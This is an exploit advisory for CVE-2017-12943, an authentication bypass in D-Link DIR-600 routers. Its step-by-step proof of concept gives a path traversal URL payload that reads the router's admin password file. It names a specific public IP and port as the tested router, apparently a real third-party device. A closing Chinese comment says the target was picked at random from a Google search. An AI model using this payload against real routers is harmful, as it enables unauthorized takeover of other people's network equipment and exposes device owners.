D-Link DIR-600 - Authentication Bypass

#Exploit Title: D-Link DIR-600 - Authentication Bypass (Absolute Path Traversal Attack)

# CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12943
# Date: 29-08-2017
# Exploit Author: Jithin D Kurup
# Contact : https://in.linkedin.com/in/jithin-d-kurup-77b616142
# Vendor : www.dlink.com
# Version: Hardware version: B1
Firmware version: 2.01
# Tested on:All Platforms

1) Description

After Successfully Connected to D-Link DIR-600 
Router(FirmWare Version : 2.01), Any User Can Easily Bypass The Router's
Admin Panel Just by adding a simple payload into URL.

D-Link DIR-600 Rev Bx devices with v2.x firmware allow remote attackers to
read passwords via a model/__show_info.php?REQUIRE_FILE= absolute path traversal attack, 
as demonstrated by discovering the admin password.

Its More Dangerous when your Router has a public IP with remote login
enabled.

IN MY CASE,
Tested Router IP : http://190.164.170.249

Video POC : https://www.youtube.com/watch?v=PeNOJORAQsQ

2) Proof of Concept

Step 1: Go to
Router Login Page : http://190.164.170.249:8080

Step 2:
Add the payload to URL.

Payload: model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.

google随便找了一个，好像影响不止dir-600。

因为我有一台dir-600m的这种路由器，所以拿来测了测，600m不受影响，也可能是因为我升级过系统版本。